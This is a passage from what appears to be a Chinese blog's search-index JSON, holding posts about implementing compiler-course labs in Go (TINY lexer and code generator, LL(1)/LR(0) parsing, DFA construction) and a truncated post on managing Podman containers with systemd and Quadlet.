若 AC1\u0026gt;=AC2，则 AC1=0 emitRM(\u0026#34;LDC\u0026#34;, ACCUMULATOR1, 0, ACCUMULATOR1) emitComment(\u0026#34;false case\u0026#34;) // 无条件跳一条指令 emitRM(\u0026#34;LDA\u0026#34;, PROGRAM_COUNTER, 1, PROGRAM_COUNTER) emitComment(\u0026#34;unconditional jmp\u0026#34;) // 若 AC1\u0026lt;AC2，则 AC1=1 emitRM(\u0026#34;LDC\u0026#34;, ACCUMULATOR1, 1, ACCUMULATOR1) emitComment(\u0026#34;true case\u0026#34;) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 case ltToken: // AC1 = AC2 - AC1 emitRO(\u0026#34;SUB\u0026#34;, ACCUMULATOR1, ACCUMULATOR2, ACCUMULATOR1) emitComment(\u0026#34;op \u0026lt;\u0026#34;) // 若 AC1\u0026lt;AC2（新 AC1\u0026lt;0），则往后跳两个指令 emitRM(\u0026#34;JLT\u0026#34;, ACCUMULATOR1, 2, PROGRAM_COUNTER) emitComment(\u0026#34;br if true\u0026#34;) // 若 AC1\u0026gt;=AC2，则 AC1=0 emitRM(\u0026#34;LDC\u0026#34;, ACCUMULATOR1, 0, ACCUMULATOR1) emitComment(\u0026#34;false case\u0026#34;) // 无条件跳一条指令 emitRM(\u0026#34;LDA\u0026#34;, PROGRAM_COUNTER, 1, PROGRAM_COUNTER) emitComment(\u0026#34;unconditional jmp\u0026#34;) // 若 AC1\u0026lt;AC2，则 AC1=1 emitRM(\u0026#34;LDC\u0026#34;, ACCUMULATOR1, 1, ACCUMULATOR1) emitComment(\u0026#34;true case\u0026#34;) 等于的情况类似，仅当AC1=AC2时AC1=0：\ngo 复制代码 case eqToken: emitRO(\u0026#34;SUB\u0026#34;, ACCUMULATOR1, ACCUMULATOR2, ACCUMULATOR1) emitComment(\u0026#34;op ==\u0026#34;) emitRM(\u0026#34;JEQ\u0026#34;, ACCUMULATOR1, 2, PROGRAM_COUNTER) emitComment(\u0026#34;br if true\u0026#34;) emitRM(\u0026#34;LDC\u0026#34;, ACCUMULATOR1, 0, ACCUMULATOR1) emitComment(\u0026#34;false case\u0026#34;) emitRM(\u0026#34;LDA\u0026#34;, PROGRAM_COUNTER, 1, PROGRAM_COUNTER) emitComment(\u0026#34;unconditional jmp\u0026#34;) emitRM(\u0026#34;LDC\u0026#34;, ACCUMULATOR1, 1, ACCUMULATOR1) emitComment(\u0026#34;true case\u0026#34;) 1 2 3 4 5 6 7 8 9 10 11 case eqToken: emitRO(\u0026#34;SUB\u0026#34;, ACCUMULATOR1, ACCUMULATOR2, ACCUMULATOR1) emitComment(\u0026#34;op ==\u0026#34;) emitRM(\u0026#34;JEQ\u0026#34;, ACCUMULATOR1, 2, PROGRAM_COUNTER) emitComment(\u0026#34;br if true\u0026#34;) emitRM(\u0026#34;LDC\u0026#34;, ACCUMULATOR1, 0, ACCUMULATOR1) emitComment(\u0026#34;false case\u0026#34;) emitRM(\u0026#34;LDA\u0026#34;, PROGRAM_COUNTER, 1, PROGRAM_COUNTER) emitComment(\u0026#34;unconditional jmp\u0026#34;) emitRM(\u0026#34;LDC\u0026#34;, ACCUMULATOR1, 1, ACCUMULATOR1) emitComment(\u0026#34;true case\u0026#34;) ","date":"May 6, 2023","matchCount":0,"permalink":"/post/hnu-compiler-lab-4/","preview":"","title":"HNU 软件编译原理实验 4（Go 实现）"},{"content":"虽然课程从头到尾没提到过TINY语言，但实验三全都围绕着TINY构造。\n代码已上传至GitHub，为防止篇幅过长，没有内置所有代码，仅对个人认为值得讲述的地方进行说明，可以对比阅读。\ncyp0633/compiler-lab\nTINY语言 TINY语言是《编译原理及实践》（Compiler Construction: Principles and Practice，之后简称CCPP）中用于演示的语言，杨某人课程中心实验包中也有其中译本PDF文档（虽然翻得不咋样）。\n在该书的1.7.1节中，提到了TINY语言的特性：\n没有过程，没有函数声明\n所有变量都是整型，通过一个赋值定义\n只有 if 语句和 repeat 控制语句\nif 语句可选 else 分支，必须用 end 表示结束\n有输入输出语句\n表达式只有算术（加、减、乘、整除）和布尔表达式（仅有 \u0026lt; 和 =）\n注释由花括号包裹\n示例程序：\npascal 复制代码 { Sample program in TINY language - computes factorial } read x; {input an integer} if 0 \u0026lt;x then { don\u0026#39;t compute if x \u0026lt;= 0} fact := 1; repeat fact := fact * x; x := x - 1 until x = 0; write fact {output factorial of x} end{ Sample program in TINY language - computes factorial } read x; {input an integer} if 0 \u0026lt;x then { don\u0026#39;t compute if x \u0026lt;= 0} fact := 1; repeat fact := fact * x; x := x - 1 until x = 0; write fact {output factorial of x} end 该书同时提供了TINY语言编译器的源代码，见 此网站。\n词法分析器 TINY语言的词法，书中已有明确的DFA描述。\nTINY词法分析器包含于 scan.c 和 scan.h 中，可以直接参考实现。这个词法分析器由语法分析器调用，并不会一次把源文件扫完，而是调用一次获取一个token。这和下图中的配合方式有点像。\n词法分析器中有三个函数：\ngetNextChar：读取下一个字符。它维护了一个 lineBuf，即当前正在读取的代码行，在当前行读完的时候，会自动读下一行。\nungetNextChar：撤销上个 “读取下一个字符” 操作。注意到上图的DFA中有几条 [other] 边，这类似于状态转换图中的星号，代表这条边只会 “peek” 而不会真正读进来。\nGetToken：读取下一个token，然后返回类型。\n在原来的代码中有一个线性查找保留词表的函数，但似乎可以直接用map替代掉。话说C++ STL不是有map吗？\ngo 复制代码 var reservedWords = map[string]tokenType{ \u0026#34;if\u0026#34;: ifToken, \u0026#34;then\u0026#34;: thenToken, \u0026#34;else\u0026#34;: elseToken, \u0026#34;end\u0026#34;: endToken, \u0026#34;repeat\u0026#34;: repeatToken, \u0026#34;until\u0026#34;: untilToken, \u0026#34;read\u0026#34;: readToken, \u0026#34;write\u0026#34;: writeToken, } 1 2 3 4 5 6 7 8 9 10 var reservedWords = map[string]tokenType{ \u0026#34;if\u0026#34;: ifToken, \u0026#34;then\u0026#34;: thenToken, \u0026#34;else\u0026#34;: elseToken, \u0026#34;end\u0026#34;: endToken, \u0026#34;repeat\u0026#34;: repeatToken, \u0026#34;until\u0026#34;: untilToken, \u0026#34;read\u0026#34;: readToken, \u0026#34;write\u0026#34;: writeToken, } 对于源文件的读入方式，我选择了使用 bufio.Scanner。这玩意可比 io.Reader 好用多了。\ngetNextChar go 复制代码 // getNextChar 从 lineBuf 中读取一个字符， // 如果 lineBuf 为空则从输入流中读取一行 func getNextChar() (byte, error) { // 本行已经读取完毕 if linePos \u0026gt;= len(lineBuf) { lineNo\u0026#43;\u0026#43; ok := sourceScanner.Scan() if !ok { // 文件末尾 err := sourceScanner.Err() if err == nil { // EOF 的话不会返回 err eof = true return 0, io.EOF } else { // 真的出现错误了 lineBuf = \u0026#34;\u0026#34; linePos = 0 return 0, err } } lineBuf = sourceScanner.Text() linePos = 1 return lineBuf[0], nil } else { linePos\u0026#43;\u0026#43; return lineBuf[linePos-1], nil } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 // getNextChar 从 lineBuf 中读取一个字符， // 如果 lineBuf 为空则从输入流中读取一行 func getNextChar() (byte, error) { // 本行已经读取完毕 if linePos \u0026gt;= len(lineBuf) { lineNo++ ok := sourceScanner.Scan() if !ok { // 文件末尾 err := sourceScanner.Err() if err == nil { // EOF 的话不会返回 err eof = true return 0, io.EOF } else { // 真的出现错误了 lineBuf = \u0026#34;\u0026#34; linePos = 0 return 0, err } } lineBuf = sourceScanner.Text() linePos = 1 return lineBuf[0], nil } else { linePos++ return lineBuf[linePos-1], nil } } 这个Scanner的默认分隔符就是换行，如果读取到末尾，会返回一个false，然后没有err（想不通为什么不是 io.EOF）。\neof 的作用后面说。\nungetNextToken go 复制代码 // ungetNextChar 将 lineBuf 中的一个字符退回 func ungetNextChar() { if !eof { linePos-- } } 1 2 3 4 5 6 // ungetNextChar 将 lineBuf 中的一个字符退回 func ungetNextChar() { if !eof { linePos-- } } 不加eof判断的话 GetToken 会一直读最后一个字母，停不下来。\nGetToken 这个函数是一个完整的状态机实现，包含的状态如上面DFA所示，每次走到DONE就代表识别完成了一个token。代码太长了就不放在文章里了。\n值得注意的是状态里面没有保留字，因为这个词法分析器会先将非数字开头的字符串作为变量名，然后检查是否匹配保留字，并据此返回词类型。\n有一个 tokenString 变量，顾名思义。只有变量名和数字等才需要记录，而对于注释之类的对语义完全没有作用的东西可以直接忽略掉。\nThis content is licensed under a Creative Commons Attribution-ShareAlike 4.0 International license.\n","date":"April 25, 2023","matchCount":0,"permalink":"/post/hnu-compiler-lab-3/","preview":"","title":"HNU 软件编译原理实验 3（Go 实现）"},{"content":"做这次实验有点难受，我不知道该怪罪Go的类型系统还是杨某人的面向对象结构。\n代码已上传至GitHub，为防止篇幅过长，没有内置所有代码，仅对个人认为值得讲述的地方进行说明，可以对比阅读。\ncyp0633/compiler-lab\n数据结构 产生式 Production 结构体与其说是产生式，不如说是产生式的右部，而直到LR(0) 项目中才记录了左部信息。\n有两个特殊的文法符，$\\epsilon$ 和 $#$，为了让它们在每一处都有相同的地址以方便比较，直接将定义写死在了代码里。\ngo 复制代码 // epsilon 不属于非终结符，也不属于终结符！！！ // 看起来要用好多次，就先定义好了 var epsilonSymbol = GrammarSymbol{ Name: \u0026#34;epsilon\u0026#34;, Type: Null, } var endSymbol = TerminalSymbol{ GrammarSymbol: GrammarSymbol{ Name: \u0026#34;#\u0026#34;, Type: Terminal, }, } 1 2 3 4 5 6 7 8 9 10 11 12 13 // epsilon 不属于非终结符，也不属于终结符！！！ // 看起来要用好多次，就先定义好了 var epsilonSymbol = GrammarSymbol{ Name: \u0026#34;epsilon\u0026#34;, Type: Null, } var endSymbol = TerminalSymbol{ GrammarSymbol: GrammarSymbol{ Name: \u0026#34;#\u0026#34;, Type: Terminal, }, } 由于Go没有继承没有多态，只有嵌入以让一个结构体拥有另一个结构体的完整成员，那也无法使用一个 GrammarSymbol 指针指向终结符或非终结符。因此，在希望存储更多类型时，只能用一个 interface{} 解决。果然是著名的万物皆是interface。比如：\ngo 复制代码 type NonTerminalSymbol struct { GrammarSymbol ProductionTable []*Production // 非终结符的产生式表 NumOfProduction int // 产生式数量 FirstSet map[interface{}]bool // 该非终结符的 First 函数值 FollowSet map[interface{}]bool // 该非终结符的 Follow 函数值 DependentSetInFollow map[*NonTerminalSymbol]bool // 该非终结符的 Follow 函数中依赖的非终结符 } 1 2 3 4 5 6 7 8 type NonTerminalSymbol struct { GrammarSymbol ProductionTable []*Production // 非终结符的产生式表 NumOfProduction int // 产生式数量 FirstSet map[interface{}]bool // 该非终结符的 First 函数值 FollowSet map[interface{}]bool // 该非终结符的 Follow 函数值 DependentSetInFollow map[*NonTerminalSymbol]bool // 该非终结符的 Follow 函数中依赖的非终结符 } 而这里就带来了一个问题：interface{} 完全没有类型检查，可以放指针，也可以放结构体本身。这就要求类型检查覆盖到不正常的情况，算了，大道至简嘛——\ngo的教徒还住着毛坯房，毕竟大道至简\nV2EX 网友\n不过可以规定，此处的 interface{} 里存的全都是指针，并且代码实现保证同一个语法符仅存一份（即不会存在对象相同但指针不同）。\nfollow 依赖的非终结符完全没用过，倒不是说没用，而是觉得没必要。后面直接算的是所有非终结符的 follow。\nLL(1) LL(1) 分析表并没有使用预定义的cell，毕竟通过遍历一个slice查表的操作未免太不优雅了。\ngo 复制代码 var LL1AnalysisTable = map[struct { *NonTerminalSymbol string }]*Production{} 1 2 3 4 var LL1AnalysisTable = map[struct { *NonTerminalSymbol string }]*Production{} 这里嵌入了一个匿名结构体，key的两个scope分别为非终结符和向前看的下一个语法符，value为对应的产生式。\nLR(0) 和上面同理，既然项目集的本质是一个集合，就没必要使用数组这么傻的东西。\ngo 复制代码 type ItemSet struct { // 状态序号 ID int // LR(0) 项目表（其实是个集合） ItemTable map[LR0Item]struct{} } 1 2 3 4 5 6 type ItemSet struct { // 状态序号 ID int // LR(0) 项目表（其实是个集合） ItemTable map[LR0Item]struct{} } 同时也直接砍掉了那几个cell，对LR(0) 分析表可以直接使用map映射。如下是 $\\text{ACTION}$ 表的定义，用了两个匿名结构体。$\\text{GOTO}$ 表定义同理。\ngo 复制代码 // LR Action 表 // 由状态 ID 和终结符名称，到动作类型和编号的映射 var ActionTable map[struct { // 当前栈顶状态序号 StateID int // 待读入的终结符名称 TerminalSymbolName string }]struct { // 动作类型 Type ActionCategory // 动作编号，如归约的产生式编号和移进的下个状态 ActionID int } 1 2 3 4 5 6 7 8 9 10 11 12 13 // LR Action 表 // 由状态 ID 和终结符名称，到动作类型和编号的映射 var ActionTable map[struct { // 当前栈顶状态序号 StateID int // 待读入的终结符名称 TerminalSymbolName string }]struct { // 动作类型 Type ActionCategory // 动作编号，如归约的产生式编号和移进的下个状态 ActionID int } 同样能使用map优化的还有自动机的边表。一般的查询都是根据起始状态和驱动符查找到达状态的，使用map会快很多。\ngo 复制代码 // LR(0) 自动机 var DFA struct { // 开始项集 StartItemSet *ItemSet // map 优化的变迁边表 // 通常查询更快，极端情况下也不会更慢 EdgeSet map[TransitionKey]*ItemSet } 1 2 3 4 5 6 7 8 // LR(0) 自动机 var DFA struct { // 开始项集 StartItemSet *ItemSet // map 优化的变迁边表 // 通常查询更快，极端情况下也不会更慢 EdgeSet map[TransitionKey]*ItemSet } 方法 产生式 定义了终结符、非终结符和产生式的 First 函数。对于终结符，可以直接返回包含自己的集合。而对于非终结符，\n不要忘了如果 First 已经计算完成，就不要再算一次了，毕竟值都存储到了对应的数据结构中。\n而在 Follow 函数中，关于是否有新的加入，个人使用的是比较插入前后map长度变化，不过先检查key是否存在似乎更快点。\n在这里引入了一个库：github.com/google/go-cmp/cmp，它能够提供比 reflect.DeepEqual 更好的比较。如果是两个指针，前者会比较指向的内容，而后者只比较地址。如计算产生式的 First 函数时：\ngo 复制代码 // 只有 epsilon，就直接返回 if p.BodySize == 1 \u0026amp;\u0026amp; cmp.Equal(p.BodySymbol[0], \u0026amp;epsilonSymbol) { return map[interface{}]bool{\u0026amp;epsilonSymbol: true} } 1 2 3 4 // 只有 epsilon，就直接返回 if p.BodySize == 1 \u0026amp;\u0026amp; cmp.Equal(p.BodySymbol[0], \u0026amp;epsilonSymbol) { return map[interface{}]bool{\u0026amp;epsilonSymbol: true} } 由于每次添加 $\\epsilon$ 时都是引用了同一个实例，所以这么比较没什么问题。只是听说Go的反射挺慢的，这个怕不是会更慢……\n说到反射那当然还是要用的，因为又回到了没有多态的问题。不像其他语言，基类指针可以访问基类的内容，Go仅凭一个 interface{} 根本无法获取它的真正类型。于是，如 Follow 初始化时添加非终结符的操作：\ngo 复制代码 // 初始化 FOLLOW 集合 for _, A := range GrammarSymbolTable { // 如果不是非终结符，跳过 if reflect.TypeOf(A) != reflect.TypeOf(RootSymbol) { continue } A.(*NonTerminalSymbol).FollowSet = make(map[interface{}]bool) } 1 2 3 4 5 6 7 8 // 初始化 FOLLOW 集合 for _, A := range GrammarSymbolTable { // 如果不是非终结符，跳过 if reflect.TypeOf(A) != reflect.TypeOf(RootSymbol) { continue } A.(*NonTerminalSymbol).FollowSet = make(map[interface{}]bool) } 使用反射就可以轻松判断真实类型了，当然也可以像是在非终结符 First 函数中，寻找 $\\epsilon$ 产生式的代码这样：\ngo 复制代码 // 寻找 epsilon 的产生式（仅含 epsilon） for _, p := range nt.ProductionTable { if p.BodySize == 1 { symbol, ok := p.BodySymbol[0].(*GrammarSymbol) if ok \u0026amp;\u0026amp; symbol.Type == Null { // 为什么不能放到一个 if 里啊！！！ // 如果存在将 epsilon 加入该非终结符的 First 函数值 nt.FirstSet[\u0026amp;epsilonSymbol] = true } } } 1 2 3 4 5 6 7 8 9 10 // 寻找 epsilon 的产生式（仅含 epsilon） for _, p := range nt.ProductionTable { if p.BodySize == 1 { symbol, ok := p.BodySymbol[0].(*GrammarSymbol) if ok \u0026amp;\u0026amp; symbol.Type == Null { // 为什么不能放到一个 if 里啊！！！ // 如果存在将 epsilon 加入该非终结符的 First 函数值 nt.FirstSet[\u0026amp;epsilonSymbol] = true } } } （现在我们知道，当然是可以放在一个if里的，用反射就优雅多了）\n在求产生式的非终结符时，需要求某产生式右部某一部分的 First 函数。此处选择构造一个产生式求 First，然后一切交给GC，应该不会存在重复计算过多的问题。\ngo 复制代码 // 先看成 A \\Rightarrow \\alpha B \\beta，求 FIRST(\\beta) // 将 \\beta 部分组合成一个产生式 tempProduction := Production{ BodySymbol: production.BodySymbol[index\u0026#43;1:], BodySize: len(production.BodySymbol[index\u0026#43;1:]), } betaFirst := tempProduction.First() 1 2 3 4 5 6 7 // 先看成 A \\Rightarrow \\alpha B \\beta，求 FIRST(\\beta) // 将 \\beta 部分组合成一个产生式 tempProduction := Production{ BodySymbol: production.BodySymbol[index+1:], BodySize: len(production.BodySymbol[index+1:]), } betaFirst := tempProduction.First() LL(1) 检测左递归使用的是DFS方法，每一层对某个特定非终结符的所有产生式进行搜索，在搜索路径上维护一个map，记录非终结符的出现与否（毕竟只有非终结符才有左递归这回事），思想比较像递归子程序法。如果当前非终结符已经处于那个map中，就代表有左递归。这样能同时检测直接和间接的左递归。\ngo 复制代码 // 对所有非终结符检测左递归 func CheckLeftRecursion() (ret bool) { return checkLeftRecursion(make(map[string]bool), RootSymbol) } // 使用 DFS 检测左递归，rec 用于记录已经检测过的非终结符 func checkLeftRecursion(rec map[string]bool, curr *NonTerminalSymbol) bool { // 如果已经检测过，返回 if rec[curr.Name] { return true } // 否则加入 map rec[curr.Name] = true for _, production := range curr.ProductionTable { // 长度为 0，返回 if len(production.BodySymbol) == 0 { continue } // 是非终结符 if symbol, ok := production.BodySymbol[0].(*NonTerminalSymbol); ok { if checkLeftRecursion(rec, symbol) { return true } } } return false } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 // 对所有非终结符检测左递归 func CheckLeftRecursion() (ret bool) { return checkLeftRecursion(make(map[string]bool), RootSymbol) } // 使用 DFS 检测左递归，rec 用于记录已经检测过的非终结符 func checkLeftRecursion(rec map[string]bool, curr *NonTerminalSymbol) bool { // 如果已经检测过，返回 if rec[curr.Name] { return true } // 否则加入 map rec[curr.Name] = true for _, production := range curr.ProductionTable { // 长度为 0，返回 if len(production.BodySymbol) == 0 { continue } // 是非终结符 if symbol, ok := production.BodySymbol[0].(*NonTerminalSymbol); ok { if checkLeftRecursion(rec, symbol) { return true } } } return false } 消除左递归其实就是套课本上的算法了，没有什么好说的。\n检测左因子就是对某个非终结符的所有产生式首语法符进行查重，重点在 “有没有”，而提取左因子面临着一个取舍，在同一次提取中，无法既对尽量多的产生式进行提取，又提取出尽量长的公因子。在这篇博客 中介绍了一种通过树实现的算法，不需要考虑取舍也不需要进行多次提取。\n多好的算法啊，可惜有点复杂，我还是老老实实多次提取吧（然而还是100多行）。基本思想：\n循环提取，直到检测不到左因子\n先检测开头的因子是否有重复，确定首公因子之后再尝试延长公因子。如对于1123、114和514，先确定提取开头的1，然后延长到11\n倾向于提取更多产生式的左因子（而不是提取更长的左因子），包括每次选择包含产生式最多的公因子进行提取（如123、145、245、255、244中提取2，因为有2的多于有1的），以及延长时遇到无法延长的产生式时直接放弃（如1123、1134、11156、11145只会延长到11，而不会放弃前两个来提取111）\n另外还要注意新产生式为空时epsilon的问题。新非终结符的产生式和被移除的产生式序号一一对应，也可以重复利用。实在看不懂就看 代码 吧……\nLL(1) 分析表的构造也是课本上就有的算法了，实现起来难度也不高。\nLR(0) LR(0) 写起来真的让我血压高，穷举变迁时已经得到了从哪个状态来、借由某个驱动符、到哪个状态去的信息，但却要再写一个求解DFA，再求一次变迁…… 真的不优雅，想了好久如何把它变得快一点，然后失败了。\n求解变迁时常用的是直接调Goto函数，而这里由于是对某个项目集所有的项目求对应的变迁，所以不需要两层循环，直接一层循环即可。这里提前新建一个map newItemSets，对每个驱动符映射到其GOTO状态对应的项目集，对每个非归约项目直接把点后移之后加入新项目集就行了，遍历完成后，核心项就都有了。\ngo 复制代码 // 遍历项目集中的每个项目 // 此处并不需要驱动符一层项目再一层，省点时间 for item := range itemSet.ItemTable { // 如果已经是归约 / 接受项目（A \\to \\cdot \\alpha），则不需要变迁 if item.DotPosition == len(item.Production.BodySymbol) { continue } // 取出该驱动符对应的项目集 itemSet := newItemSets[item.Production.BodySymbol[item.DotPosition]].ItemTable // 将项目 item 的点后移一位 // 新的项目！ item1 := LR0Item{ NonTerminalSymbol: item.NonTerminalSymbol, Production: item.Production, DotPosition: item.DotPosition \u0026#43; 1, Type: CoreItem, // 一定是核心项啦 } // 将新项目加入项目集 itemSet[item1] = struct{}{} } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // 遍历项目集中的每个项目 // 此处并不需要驱动符一层项目再一层，省点时间 for item := range itemSet.ItemTable { // 如果已经是归约 / 接受项目（A \\to \\cdot \\alpha），则不需要变迁 if item.DotPosition == len(item.Production.BodySymbol) { continue } // 取出该驱动符对应的项目集 itemSet := newItemSets[item.Production.BodySymbol[item.DotPosition]].ItemTable // 将项目 item 的点后移一位 // 新的项目！ item1 := LR0Item{ NonTerminalSymbol: item.NonTerminalSymbol, Production: item.Production, DotPosition: item.DotPosition + 1, Type: CoreItem, // 一定是核心项啦 } // 将新项目加入项目集 itemSet[item1] = struct{}{} } 至于求解DFA嘛，其实也就大差不差了，我甚至复制了一大段代码。\n在SLR(1) 的检查之中，可以使用一个map（set）存放归约项集的各个左部（即 $A \\to \\alpha \\cdot$ 的 $A$），一个map存放移进项集对应的驱动终结符集（即 $A \\to \\alpha \\cdot a \\beta$ 的 $a$），更方便计算交集。\n接下来是构造LR分析表，我也不知道杨某人这句话是什么意思，那就先填个LR(0) 吧。\n四个if-else让人血压挺高的，你问我为什么不用switch？因为case里面不能声明局部变量，所以 case symbol, ok := item.Production.BodySymbol[item.DotPosition].(*TerminalSymbol); ok 这样的判断就写不出来，着实不太方便。\ngo 复制代码 for item := range itemSet.ItemTable { // 判断项目类型 // 为什么不用一个 switch？因为特么的 go 不支持 switch 里做声明 if item.NonTerminalSymbol == RootSymbol \u0026amp;\u0026amp; item.DotPosition == len(item.Production.BodySymbol) { // 接受项目 S\u0026#39; \\to S \\cdot // ACTION[i,#] = accept // code... } else if item.DotPosition == len(item.Production.BodySymbol) { // 归约项目 A \\to \\alpha \\cdot // 对所有非终结符 a 或 #，ACTION[i,a] = reduce j // code... } else if symbol, ok := item.Production.BodySymbol[item.DotPosition].(*TerminalSymbol); ok { // 移进项目 A \\to \\alpha \\cdot a \\beta // action[i,a] = shift j // code... } else if symbol, ok := item.Production.BodySymbol[item.DotPosition].(*NonTerminalSymbol); ok { // 待约项目 A \\to \\alpha \\cdot B // goto[i,B] = j // code... } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 for item := range itemSet.ItemTable { // 判断项目类型 // 为什么不用一个 switch？因为特么的 go 不支持 switch 里做声明 if item.NonTerminalSymbol == RootSymbol \u0026amp;\u0026amp; item.DotPosition == len(item.Production.BodySymbol) { // 接受项目 S\u0026#39; \\to S \\cdot // ACTION[i,#] = accept // code... } else if item.DotPosition == len(item.Production.BodySymbol) { // 归约项目 A \\to \\alpha \\cdot // 对所有非终结符 a 或 #，ACTION[i,a] = reduce j // code... } else if symbol, ok := item.Production.BodySymbol[item.DotPosition].(*TerminalSymbol); ok { // 移进项目 A \\to \\alpha \\cdot a \\beta // action[i,a] = shift j // code... } else if symbol, ok := item.Production.BodySymbol[item.DotPosition].(*NonTerminalSymbol); ok { // 待约项目 A \\to \\alpha \\cdot B // goto[i,B] = j // code... } } This content is licensed under a Creative Commons Attribution-ShareAlike 4.0 International license.\n","date":"April 12, 2023","matchCount":0,"permalink":"/post/hnu-compiler-lab-2/","preview":"","title":"HNU 软件编译原理实验 2（Go 实现）"},{"content":"真不巧，这个学期看起来又是一套自编新实验。虽然下面这段话有待商榷，但为了分，总不能不做吧。\n不自己经历一次TINY语言的编译器构造过程，就等于没学这门课。经历过了，而且走通了，你就从现在的1/100, 飞跃到了1/3000，甚至1/10000。毕业后，你就拿着这个名片去华为，去阿里，去腾讯，去百度找工作，或者去北大，清华，上海交大，北航这些学校读研，绝对没问题。这个名片要比现在所谓的竞赛获奖的含金量大得多，别人相信得多。为什么？因为招聘官或者老师都是过来人，都知道编译技术是最难学的知识，没几个人真正学懂。现在你真正学懂了，别人刮目相看。\n杨某人《编译技术课程试验指导书（2022版）》\n代码已上传至GitHub，为防止篇幅过长，没有内置所有代码，可以对比阅读。\n文章并未完成，而且 不知道什么时候会施工完成 应该弃坑了，不过代码写完了。\ncyp0633/compiler-lab\n从 “最简DFA构造法” 说起 构造DFA的方法算是本实验的前置知识，而杨某人自创的 “最简DFA构造法“并不是龙书提到的Thompson构造法。而要理解最简构造法，需要先理解” 原生构造法“。\n原生构造法的核心思想是将正则表达式拆成多个基本运算，再将这些基本运算逐步组合成NFA。\n比如正则表达式 $r \\to a^+b^+$，可以拆分为 $r_1 \\to a$、$r_2 \\to b$、$r_3 \\to r_1^+$、$r_4 \\to r_2^+$、$r_5 \\to r_3r_4$ 这五个正则表达式。然后将其各自转化为NFA。\n在绘制 $r_3$ 对应的NFA时，将 $r_1$ 代入，并将整个NFA看作是一个状态 / 一个转换，下同。最后组合到 $r_5$ 即可得到 $r$ 的NFA。\n而杨某人认为，一些空转换的作用仅仅是防止过度的反向转换。根据不同的出入边状况，自然构造法中的空转换可以省掉，以在防止倒灌（指顺着回边返回太远）的同时得到更简单的NFA。\n连接 当 $s$ 有出边，$t$ 有入边时，在 $s$ 结束状态和 $t$ 开始状态处加入一个空转换。\n否则，与Thompson构造法一致，$N(s)$ 的结束状态和 $N(t)$ 的开始状态重合。\nKleene闭包 有入边，有出边：同Thompson构造法\n有入边，无出边：可以省掉后面的空转换\n无入边，有出边：可以省掉前面的空转换\n无入边，无出边：不需要空转换\n1\n2\n3\n4\n当 $s^*$ 的NFA只含一个开始、一个接受状态，且无出入边时，可以缩成一个状态。\n0或1个 $s?$ 就是把Kleene闭包的顶上那一个空转换去掉，阻止继续接受即可。\n并 $s|t$ 当 $s$ 和 $t$ 都没有入边和出边时，转换如图所示。\n如果 $s$ 或 $t$ 中任何一个有出入边，则先对其进行改造：\n有入边，无出边：在前面加空转换\n无入边，有出边：在后面加空转换\n有入边，有出边：在两边各加一个空转换\n1\n2\n3\n另外还有带category属性的接受状态，需要在后面加一个空状态作为新的接受状态，以防止合并时category属性丢失。\n数据结构 杨某人定义的一堆对象，在Go里当然不能继续用了。还好实验一没有继承多态类型推断之类的（实验二就有了），不然工作量又要暴涨。\n字符集 字符集和字符集表\n一个” 字符集 “代表的其实是一个字符集段，对于同一个字符集，可能会在 CharsetTable 内有多个 Charset 项，通过 SegmentID 相区分。\n本实验的代码中，会保证每个字符集中，段不重合且按字符序递增。\n正则表达式 操作数类型\nGo的枚举确实有点太弱了，没办法。定义一个新类型，不过这个也算不上限制，可以随便赋值。\n词素类型\n可以定义一个 String() 方法，以打印其名字。\n图（NFA、DFA） 这个就没啥好说的了……\n方法 字符集 生成一个字符集 输入两个字符，输出一个index ID。\n字符与字符的并运算 分两种情况，相等（返回一段）或不相等（返回两段）。也可以合并。\n字符与字符集的并运算 题意要求，返回的必须是新字符集，其实这也为我们降低了难度，毕竟不用考虑插入段的复杂性。那就可以先将旧的字符集拷贝一份。\n第一轮遍历，寻找可以包含的原字符集段，如有，就不用再合了。\n第二轮遍历，寻找挨着边界的原字符集段，也就是 fromChar-1 或者 toChar+1，直接边界 +-1即可，不需要新段。\n之后第三轮遍历，找到合适的位置，插入新段，然后将后面段的 SegmentID+1。\n单元测试 This content is licensed under a Creative Commons Attribution-ShareAlike 4.0 International license.\n","date":"March 25, 2023","matchCount":0,"permalink":"/post/hnu-compiler-lab-1/","preview":"","title":"HNU 软件编译原理实验 1（Go 实现）"},{"content":"我烦Docker很久了。倒不如说我烦 “屁大点事都要容器化” 很久了，但在不得不用的时候，与其用自成一体的Docker，不如用同样遵守OCI的Podman。\n由于Docker和Podman基本能够兼容，这里是一些个人碰到可能比较有意思的用法。我也不知道会不会继续写，什么时候会写。\n与systemd结合 PROTECTED_0 已被弃用，请参考使用 Quadlet 的新方法 现在使用 podman generate systemd，会提示 DEPRECATED command: It is recommended to use Quadlets for running containers and pods under systemd.\nRed Hat 文档\nDocker有 dockerd，能自主控制容器的启动与停止，Podman没有。相比Docker，Podman的特点之一就是与systemd的融合，毕竟两个玩意全都是Red Hat自家的，他们大概也不想再做一个daemon。\n解决办法就是，Podman容器可以使用systemd单元来控制启停等功能。举个例子，如果是root用户的容器，可以直接运行下面的命令，生成一个systemd单元：\nbash 复制代码 podman generate systemd --new \u0026lt;container_name\u0026gt; \u0026gt; /etc/systemd/system/\u0026lt;service_name\u0026gt;.service 1 podman generate systemd --new \u0026lt;container_name\u0026gt; \u0026gt; /etc/systemd/system/\u0026lt;service_name\u0026gt;.service 记得替换你自己的容器名称和单元名称。虽然前后两个名字不统一又不是不能用，但个人强烈建议统一一下，可能能免去一些玄学问题。然后就可以用平常管理systemd单元的方法来管理它了。\nPodman推荐的用systemd管理容器的方式是Quadlet。一个Quadlet形似systemd unit，但又神似docker-compose YAML。相比于已经弃用的 podman-systemd ，Quadlet表现能力更强，更容易编辑。看一眼 redis.container 示例1就明白了：\nini 复制代码 [Unit] Description=Redis container [Container] Image=docker.io/redis PublishPort=6379:6379 User=999 [Service] Restart=always [Install] WantedBy=local.target 1 2 3 4 5 6 7 8 9 10 11 12 13 [Unit] Description=Redis container [Container] Image=docker.io/redis PublishPort=6379:6379 User=999 [Service] Restart=always [Install] WantedBy=local.target 详细的文件结构在 Podman 的文档 中有说明。除上面的 .container 示例外，还有.kube、.network 和 .volume 